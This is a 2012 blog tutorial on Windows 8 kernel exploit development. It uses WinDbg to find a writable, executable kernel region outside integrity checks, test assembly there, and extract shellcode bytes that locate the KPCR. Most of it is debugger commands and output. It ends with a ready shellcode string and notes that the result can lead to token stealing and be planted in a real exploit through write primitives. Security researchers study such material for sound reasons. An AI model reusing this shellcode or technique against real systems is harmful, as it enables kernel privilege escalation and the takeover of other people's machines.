How To Build A Kernel Shellcode Design and Testing Platform For Windows 8 By Using Windbg
by cawan (cawan[at]ieee.org or chuiyewleong[at]hotmail.com)
on 5/11/2012
For windows kernel shellcoder, it is very important to has a testing platform in
evaluating and verifying the shellcode at instruction level in runtime. So, windbg
should be the ideal tool to do the job. In order to build a testing platform, we
need 2 pieces of memory areas, one with write and execute (WE) permission, and
another one with write (W) permission. The one with WE permission is to let us put
our shellcode inside, and run it there. On the other hand, the one with W permission
is for temporary storage, so, we can store our variable or output there. A good
example is sgdt command. The command will read the gdt register and store the content
into a memory area that we specified. Now, we need to search memory pages to find
one with WE permission and another one with W permission. Let's start now.
8 files are generated, which the file names from 80000000.txt to f0000000.txt.
The processes will take quite a while in scanning the kernel space page by page.
Based on the log files, quite a number of memory areas are found which can meet the
requirement. However, most of them are protected by integrity check of the kernel.
In other words, when some bytes on those memory areas are modified, and let the
kernel run again, the system will crash immediately. Fortunately, after several
tries, a piece of memory area which has WE permission and out of the control of
integrity check by the kernel has been found.
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
VA 811fc000
PDE at C0602040 PTE at C0408FE0
contains 0000000002A07063 contains 00000000025FC963
pfn 2a07 ---DA--KWEV pfn 25fc -G-DA--KWEV
(811fb480) nt!HvlpLogicalProcessorRegions+0xb80 | (81206480) nt!HvlpNodes
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
The memory area is known as HvlpLogicalProcessorRegions and it is started from
0x811fb480 and end at 0x81206480. Please note that the memory addresses will be
different in your machine because the kernel base is always ASLRed. Now we need to
make sure the HvlpLogicalProcessorRegions is included in the nt kernel export list
or not.
There is nothing in the export list that match "HvlpLogicalProcessorRegions", and even
with prefix "Hvlp". If search for those with prefix "Hvl", then there are some, but
nothing related to the "HvlpLogicalProcessorRegions". So, from the angle of kernel
shellcode design, we can only get the base of "HvlpLogicalProcessorRegions" by using
offset comparison technique as discussed in previous paper - "How to Defeat Windows 8
ASLR in Getting the Address of KPCR". Anyway, since we are using windbg with symbol
files now, we no need to consider this first. But now, how about the memory area with
W permission ? Again, after several tries, a fixed address is very suitable to do the
job, and it is located at 0xffdf0000.
///////////////////////////////////////////////////////////////////////////////////
VA ffdf0000
PDE at C0603FF0 PTE at C07FEF80
contains 0000000002A96063 contains 8000000002A58163
pfn 2a96 ---DA--KWEV pfn 2a58 -G-DA--KW-V
///////////////////////////////////////////////////////////////////////////////////
Nice, let's try with some instructions. First, check for any content in
HvlpLogicalProcessorRegions.
kd> dd HvlpLogicalProcessorRegions
811fb480 00000000 00000000 00000000 00000000
811fb490 00000000 00000000 00000000 00000000
811fb4a0 00000000 00000000 00000000 00000000
811fb4b0 00000000 00000000 00000000 00000000
811fb4c0 00000000 00000000 00000000 00000000
811fb4d0 00000000 00000000 00000000 00000000
811fb4e0 00000000 00000000 00000000 00000000
811fb4f0 00000000 00000000 00000000 00000000
Full with zero...Fine, we start to put some instructions there.
kd> a HvlpLogicalProcessorRegions
811fb480 nop
nop
811fb481 nop
nop
811fb482 sgdt [0xffdf0000]
sgdt [0xffdf0000]
811fb489 nop
nop
811fb48a nop
nop
811fb48b
The instruction "sgdt [0xffdf0000]" will write the content of gdt register into
0xffdf0000. Let's check the memory of HvlpLogicalProcessorRegions again.
kd> dd HvlpLogicalProcessorRegions
811fb480 010f9090 df000005 009090ff 00000000
811fb490 00000000 00000000 00000000 00000000
811fb4a0 00000000 00000000 00000000 00000000
811fb4b0 00000000 00000000 00000000 00000000
811fb4c0 00000000 00000000 00000000 00000000
811fb4d0 00000000 00000000 00000000 00000000
811fb4e0 00000000 00000000 00000000 00000000
811fb4f0 00000000 00000000 00000000 00000000
It is easier to check it in bytes...
kd> db HvlpLogicalProcessorRegions
811fb480 90 90 0f 01 05 00 00 df-ff 90 90 00 00 00 00 00 ................
811fb490 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
811fb4a0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
811fb4b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
811fb4c0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
811fb4d0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
811fb4e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
811fb4f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
Good, the instructions already there. Let the kernel run again to ensure the system
will not hang due to our modification to the kernel memory. Issue command 'g' and
do something such as open windows explorer at windows 8, it should work properly.
Now, break the system again and check our instructions are still there or not.
kd> db HvlpLogicalProcessorRegions
811fb480 90 90 0f 01 05 00 00 df-ff 90 90 00 00 00 00 00 ................
811fb490 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
811fb4a0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
811fb4b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
811fb4c0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
811fb4d0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
811fb4e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
811fb4f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
Yes, still there. Now, we need to redirect the EIP to HvlpLogicalProcessorRegions.
Before that, we need to note down the current EIP first.
kd> r eip
eip=811003a4
So, redirect the EIP to HvlpLogicalProcessorRegions now.
kd> r eip=HvlpLogicalProcessorRegions
kd> r eip
eip=811fb480
Well, let's disassemble it.
kd> u eip
nt!HvlpLogicalProcessorRegions:
811fb480 90 nop
811fb481 90 nop
811fb482 0f01050000dfff sgdt fword ptr ds:[0FFDF0000h]
811fb489 90 nop
811fb48a 90 nop
811fb48b 0000 add byte ptr [eax],al
811fb48d 0000 add byte ptr [eax],al
811fb48f 0000 add byte ptr [eax],al
We are ready to run it now. Step over until reach at 0x811fb48a.
kd> p
nt!HvlpLogicalProcessorRegions+0x1:
811fb481 90 nop
kd> p
nt!HvlpLogicalProcessorRegions+0x2:
811fb482 0f01050000dfff sgdt fword ptr ds:[0FFDF0000h]
kd> p
nt!HvlpLogicalProcessorRegions+0x9:
811fb489 90 nop
kd> p
nt!HvlpLogicalProcessorRegions+0xa:
811fb48a 90 nop
Now, check the content of gdt register at ffdf0000.
kd> dd ffdf0000
ffdf0000 300003ff 0f998080 a2cd7d0e 00000000
ffdf0010 00000000 16c4f5d0 01cdbbb7 01cdbbb7
ffdf0020 0e234000 00000043 00000043 014c014c
ffdf0030 003a0043 0057005c 006e0069 006f0064
ffdf0040 00730077 00000000 00000000 00000000
ffdf0050 00000000 00000000 00000000 00000000
ffdf0060 00000000 00000000 00000000 00000000
ffdf0070 00000000 00000000 00000000 00000000
kd> db ffdf0000
ffdf0000 ff 03 00 30 80 80 99 0f-0e 7d cd a2 00 00 00 00 ...0.....}......
ffdf0010 00 00 00 00 d0 f5 c4 16-b7 bb cd 01 b7 bb cd 01 ................
ffdf0020 00 40 23 0e 43 00 00 00-43 00 00 00 4c 01 4c 01 .@#.C...C...L.L.
ffdf0030 43 00 3a 00 5c 00 57 00-69 00 6e 00 64 00 6f 00 C.:.\.W.i.n.d.o.
ffdf0040 77 00 73 00 00 00 00 00-00 00 00 00 00 00 00 00 w.s.............
ffdf0050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffdf0060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffdf0070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
gdt register is 48-bit, which is 6 bytes and the gdt base is located at byte 2-5
(zero base). So, the gdt base should be 0x80803000. Let's verify.
kd> r gdtr
gdtr=80803000
Yes, it seems everything fine. How about to get the KPCR ?
kd> a HvlpLogicalProcessorRegions
811fb480 nop
nop
811fb481 nop
nop
811fb482 pushad
pushad
811fb483 nop
nop
811fb484 nop
nop
811fb485 sgdt [0xffdf0000]
sgdt [0xffdf0000]
811fb48c mov eax,[ffdf0002]
mov eax,[ffdf0002]
811fb491 mov dh,[eax+37]
mov dh,[eax+37]
811fb494 mov dl,[eax+34]
mov dl,[eax+34]
811fb497 mov bx,dx
mov bx,dx
811fb49a shl ebx,10
shl ebx,10
811fb49d mov bh,[eax+33]
mov bh,[eax+33]
811fb4a0 mov bl,[eax+32]
mov bl,[eax+32]
811fb4a3 nop
nop
811fb4a4 nop
nop
811fb4a5 popad
popad
811fb4a6 nop
nop
811fb4a7 nop
nop
811fb4a8
kd> r eip=HvlpLogicalProcessorRegions
kd> p
nt!HvlpLogicalProcessorRegions+0x1:
811fb481 90 nop
kd> p
nt!HvlpLogicalProcessorRegions+0x2:
811fb482 60 pushad
kd> p
nt!HvlpLogicalProcessorRegions+0x3:
811fb483 90 nop
kd> p
nt!HvlpLogicalProcessorRegions+0x4:
811fb484 90 nop
kd> p
nt!HvlpLogicalProcessorRegions+0x5:
811fb485 0f01050000dfff sgdt fword ptr ds:[0FFDF0000h]
kd> p
nt!HvlpLogicalProcessorRegions+0xc:
811fb48c a10200dfff mov eax,dword ptr ds:[FFDF0002h]
kd> p
nt!HvlpLogicalProcessorRegions+0x11:
811fb491 8a7037 mov dh,byte ptr [eax+37h]
kd> r eax
eax=80803000
kd> p
nt!HvlpLogicalProcessorRegions+0x14:
811fb494 8a5034 mov dl,byte ptr [eax+34h]
kd> db eax
80803000 00 00 00 00 00 00 00 00-ff ff 00 00 00 9b cf 00 ................
80803010 ff ff 00 00 00 93 cf 00-ff ff 00 00 00 fb cf 00 ................
80803020 ff ff 00 00 00 f3 cf 00-ab 20 00 80 7f 8b 00 80 ......... ......
80803030 80 42 00 90 20 93 40 81-ff 0f 00 00 00 f3 40 00 .B.. .@.......@.
80803040 ff ff 00 04 00 f2 00 00-00 00 00 00 00 00 00 00 ................
80803050 68 00 00 30 1d 89 00 81-68 00 68 30 1d 89 00 81 h..0....h.h0....
80803060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
80803070 ff 03 00 30 80 92 00 80-00 00 00 00 00 00 00 00 ...0............
kd> r dh
dh=81
kd> p
nt!HvlpLogicalProcessorRegions+0x17:
811fb497 668bda mov bx,dx
kd> r dl
dl=20
kd> p
nt!HvlpLogicalProcessorRegions+0x1a:
811fb49a c1e310 shl ebx,10h
kd> r ebx
ebx=81208120
kd> p
nt!HvlpLogicalProcessorRegions+0x1d:
811fb49d 8a7833 mov bh,byte ptr [eax+33h]
kd> r ebx
ebx=81200000
kd> p
nt!HvlpLogicalProcessorRegions+0x20:
811fb4a0 8a5832 mov bl,byte ptr [eax+32h]
kd> r bh
bh=90
kd> p
nt!HvlpLogicalProcessorRegions+0x23:
811fb4a3 90 nop
kd> r bl
bl=0
kd> r ebx
ebx=81209000
Well, the value of ebx should be the KPCR, let's verify.
kd> dg 30
P Si Gr Pr Lo
Sel Base Limit Type l ze an es ng Flags
---- -------- -------- ---------- - -- -- -- -- --------
0030 81209000 00004280 Data RW Ac 0 Bg By P Nl 00000493
Good, we are at the right point. Now, let us extract the shellcode in getting KPCR.
811fb485 0f01050000dfff sgdt fword ptr ds:[0FFDF0000h]
811fb48c a10200dfff mov eax,dword ptr ds:[FFDF0002h]
811fb491 8a7037 mov dh,byte ptr [eax+37h]
811fb494 8a5034 mov dl,byte ptr [eax+34h]
811fb497 668bda mov bx,dx
811fb49a c1e310 shl ebx,10h
811fb49d 8a7833 mov bh,byte ptr [eax+33h]
811fb4a0 8a5832 mov bl,byte ptr [eax+32h]
shellcode_get_kpcr=("\x0f\x01\x05\x00\x00\xdf\xff\xa1\x02\x00\xdf\xff\x8a\x70\x37"
"\x8a\x50\x34\x66\x8b\xda\xc1\xe3\x10\x8a\x78\x33\x8a\x58\x32")
So, after the shellcode_get_kpcr get executed, the address of KPCR should be at ebx,
and we can do the rest of the things such as token stealing or whatever up to your
imagination. Besides, this version of shellcode contains illegal null bytes which is
normally not allowed by the system. Regarding how to avoid null bytes, I reserve this
as your own exercise. After everything completed, we revert the machine to the
original state. Let's run over the instruction "popad".
kd> p
nt!HvlpLogicalProcessorRegions+0x24:
811fb4a4 90 nop
kd> p
nt!HvlpLogicalProcessorRegions+0x25:
811fb4a5 61 popad
kd> p
nt!HvlpLogicalProcessorRegions+0x26:
811fb4a6 90 nop
kd> r eax
eax=00000001
kd> r ebx
ebx=8120b354
Now, reset the address of EIP to the original state.
ebx=8120b354
kd> r eip=811003a4
Issue command 'g' to run the kernel again, the system should revert to the working
state.
kd> g
Yes, the system now working well again. For your info, when using this technique in
the real exploit, the shellcode can put directly to HvlpLogicalProcessorRegions by
using multiple of write4 or write8. Regarding to the issue of how to get the address
of HvlpLogicalProcessorRegions in ASLRed kernel, please refer my previous paper of
"How to Defeat Windows 8 ASLR in Getting the Address of KPCR"
pdf version in proper format:
http://www.scribd.com/doc/112179332/How-to-Build-a-Kernel-Shellcode-Design-and-Testing-Platform-for-Windows-8
in even better format in pdf
http://www.scribd.com/doc/112321424/How-to-Build-a-Kernel-Shellcode-Design-and-Testing-Platform-for-Windows-8-by-Using-Windbg-1
pdf version in proper format:
http://www.scribd.com/doc/112179332/How-to-Build-a-Kernel-Shellcode-Design-and-Testing-Platform-for-Windows-8
in even better format in pdf
http://www.scribd.com/doc/112321424/How-to-Build-a-Kernel-Shellcode-Design-and-Testing-Platform-for-Windows-8-by-Using-Windbg-1
No comments:
Post a Comment